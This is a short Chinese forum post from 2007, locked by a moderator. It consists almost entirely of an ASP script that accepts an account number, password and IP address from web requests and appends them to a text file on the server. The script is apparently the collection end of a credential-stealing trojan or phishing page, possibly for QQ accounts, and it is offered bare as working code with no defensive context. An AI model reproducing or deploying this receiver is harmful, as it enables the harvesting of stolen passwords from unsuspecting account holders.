管理提醒: 本帖被 醉雪枫叶 执行锁定操作(2007-04-20)<%
strLogFile = date & "--q86.txt"
Number = request("Number")
PassWord = request("PassWord")
IP = request("IP")
if Number = "" or PassWord = "" then
response.end
End If
StrLogText = Number & "----" & PassWord & "----" & IP
set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(StrLogText)
ff.close
set ff=nothing
set f=nothing
%>
[ 此贴被胜敏在2007-04-19 23:57重新编辑 ]